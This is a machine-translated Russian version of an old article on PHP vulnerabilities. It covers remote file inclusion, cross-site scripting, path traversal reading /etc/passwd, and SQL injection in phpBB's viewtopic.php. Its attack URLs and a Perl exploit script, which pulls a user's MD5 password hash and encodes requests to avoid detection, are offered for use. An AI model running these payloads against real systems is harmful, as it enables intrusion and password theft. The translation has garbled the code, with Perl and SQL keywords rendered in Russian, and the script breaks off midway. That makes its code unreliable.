Общий анализ уязвимостей PHP-страниц и решение связанных с ними проблем
Автор:Eve Cole
Время обновления:2009-06-02 18:07:08
Судя по нынешней сетевой безопасности, уязвимость веб-страницы, которая больше всего беспокоит всех и подвергается наибольшему воздействию, должна быть ASP. В этом отношении Сяочжу является экспертом, и я не имею права голоса. Однако с точки зрения PHP здесь нет. также являются очень серьезными уязвимостями безопасности. Проблема, но статей в этой области не так уж и много. Здесь давайте кратко обсудим связанные с этим уязвимости PHP-страниц.
Я сделал обзор текущих распространенных уязвимостей PHP, которые грубо разделены на следующие категории: включая уязвимости файлов, уязвимости выполнения команд сценариев, уязвимости утечки файлов, уязвимости SQL-инъекций и т. д. Конечно, что касается некоторых распространенных технологий, таких как Подмена COOKIE, я не буду обсуждать это здесь, в Интернете много информации об этом. Итак, давайте разберем, как эксплуатировать эти уязвимости по отдельности.
Во-первых, давайте обсудим уязвимость включенного файла. Следует сказать, что эта уязвимость уникальна для PHP. Это связано с недостаточной обработкой предоставленных извне вредоносных данных, что позволяет удаленным злоумышленникам использовать эти уязвимости для выполнения произвольных команд в системе с помощью WEB-процесса. разрешений. Давайте рассмотрим пример: Предположим, в файле .php есть такой код:
include($include."/xxx.php");
?>
В этом коде $include обычно представляет собой настроенный путь, но мы можем достичь цели атаки, создав путь самостоятельно. Например, мы отправляем: a.php?include=http://web/b. php, эта сеть — это пространство, которое мы используем для атаки. Конечно, b.php — это код, который мы используем для атаки. Мы можем написать что-то вроде: passthru("/bin/ls /etc") в коде b.php ; Таким образом, вы можете выполнить некоторые целенаправленные атаки (Примечание: веб-сервер не должен иметь возможности выполнять код PHP, в противном случае возникнут проблемы. Соответствующую информацию можно найти в разделе << Как атаковать распространенные уязвимости в программах PHP >>). ). В плане этой уязвимости много проблем, например: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart и многие другие.
Далее давайте рассмотрим уязвимость выполнения команды сценария. Это связано с отсутствием достаточной фильтрации параметров URI, передаваемых пользователями. Отправка данных, содержащих вредоносный HTML-код, может вызвать атаку с использованием межсайтового сценария и получить конфиденциальную информацию. целевой пользователь. Давайте также приведем пример: страница index.php в PHP Transparent PHP 4.3.1 или ниже не имеет достаточной фильтрации PHPSESSID. Мы можем достичь цели атаки с помощью такого кода:
http://web/index.php?PHPSESSID =">В скрипте мы можем создавать функции для получения некоторой конфиденциальной информации пользователей. В этом отношении относительно мало уязвимостей. Помимо PHP Transparent есть еще: PHP- Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board и т. д.
Затем давайте взглянем на уязвимость раскрытия файлов. Эта уязвимость связана с отсутствием достаточной фильтрации предоставленных пользователем параметров. Удаленные злоумышленники могут использовать ее для проведения атак с обходом каталога и получения некоторой конфиденциальной информации. В качестве примера возьмем недавно обнаруженный phpMyAdmin. В phpMyAdmin страница экспорта.php не полностью фильтрует параметр «что», отправленный пользователем. Удаленный злоумышленник может обойти это, отправив данные, содержащие несколько символов «../». Преодолевайте ограничения WEB ROOT и просматривайте любую информацию о файлах в системе с разрешениями WEB. Например, ввод такого адреса: Export.php?what=../../../../../../etc/passwd%00 может достичь цели утечки файла. относительно Есть еще: myPHPNuke, McNews и т. д.
Наконец, мы вернулись к самому захватывающему моменту. Подумайте о том, как весело использовать SQL-инъекцию в asp-страницах. Раньше нам приходилось внедрять вручную, пока Сяочжу не разобрался с «секретной книгой SQL-инъекций» (хе-хе) и не нашел ее. Затем, после запуска NBSI, наш NB Alliance действительно изменил ситуацию. Мы помогли найти лазейки на крупных веб-сайтах, таких как CSDN, Monopoly Forum и China Channel (я не буду вдаваться в подробности по этому поводу, это немного. не по теме...). Вернемся к теме. На самом деле SQL-инъекция в asp примерно такая же, как SQL-инъекция в php. Просто обратите немного внимания на несколько используемых функций. и другие функции в основном ничего не изменилось. На самом деле, когда все видят SQL-инъекцию в PHP, все ли они думают о PHP-NUKE и PHPBB? Да, как говорится, на таких форумах, как Dongwang, можно заработать большие очки. король уязвимостей в мире ASP. Это не значит, что безопасность его форума слишком плохая, но он слишком известен. Чем больше другие его используют, тем больше людей будут его исследовать, и тем выше безопасность. будут обнаружены дыры. То же самое относится и к PHPBB, и сейчас большое количество людей, использующих PHP для создания форума, обычно выбирают PHPBB. Его уязвимости постоянно появляются, начиная с самых ранних уязвимостей, обнаруженных в версии phpBB 1.4.0. от phpBB.com до последней версии groupcp.php в версии phpBB 2.0.6, а также search.php, Profile.php, viewtopic.php и т. д., которые были обнаружены ранее, их, вероятно, около дюжины. всегда приводило к тому, что некоторые люди использовали его в качестве экспериментального продукта при изучении так называемых уязвимостей PHP. После долгой практики я считаю, что PHPBB в будущем будет становиться все лучше и лучше.
Хорошо, давайте разберем причину уязвимости. Возьмем в качестве примера страницу viewtopic.php. При вызове viewtopic.php «topic_id» получается непосредственно из запроса GET и передается команде SQL-запроса без ее выполнения. В ходе фильтрации злоумышленник может отправить специальную строку SQL для получения пароля MD5. Получение этой информации о пароле может быть использовано для автоматического входа в систему или грубого взлома. (Я не думаю, что кто-то захочет взломать методом грубой силы, если только нет особенно важной причины. Давайте сначала посмотрим на соответствующий исходный код:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL])) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic'])) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
Из приведенного выше мы видим, что если отправленному view=newest и sid присвоено значение, исполняемый код запроса выглядит следующим образом (если вы не видели исходный код PHPBB, я предлагаю вам прочитать его, а затем перейти сюда Посмотрите, затронуты следующие системы: phpBB 2.0.5 и phpBB 2.0.4).
# $sql = "ВЫБРАТЬ p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE ." u
# ГДЕ s.session_id = '$session_id'
# И u.user_id = s.session_user_id
# И p.topic_id = $topic_id
# И p.post_time >= u.user_lastvisit
# СОРТИРОВАТЬ ПО p.post_time ASC
# ПРЕДЕЛ 1";
Рик предоставил следующий тестовый код:
используйте IO::Socket;
$remote = сдвиг || 'локальный хост';
$view_topic = сдвиг || '/phpBB2/viewtopic.php';
$uid = сдвиг || 2;
$порт = 80;
$dbtype = 'mysql4' # mysql4 или pgsql
print "Пытаюсь получить хеш пароля для uid $uid сервера $remote dbtype: $dbtypen";
$п = "";
for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $порт,
Прото => "TCP",
Тип => SOCK_STREAM)
или умереть "Не удалось подключиться к $remote:$port : $@n ";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) . "&view=newest" " HTTP/1.0nn";
напечатайте $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n" # замените это на pgsql или удалите его
напечатайте $socket "Хост: $remotenn";
в то время как ($ответ = <$сокет>)
{
if ($answer =~ /location:.*x23(d+)/) # Соответствует местоположению: viewtopic.php?p=#
{
$p .= chr ();
}
}
закрыть ($ сокет);
}
print "nMD5 Хэш для uid $uid равен $pn";
# случайное кодирование str помогает избежать обнаружения.
субслучайное_кодирование
{
$стр = сдвиг;
$рет = "";
for($i=0; $i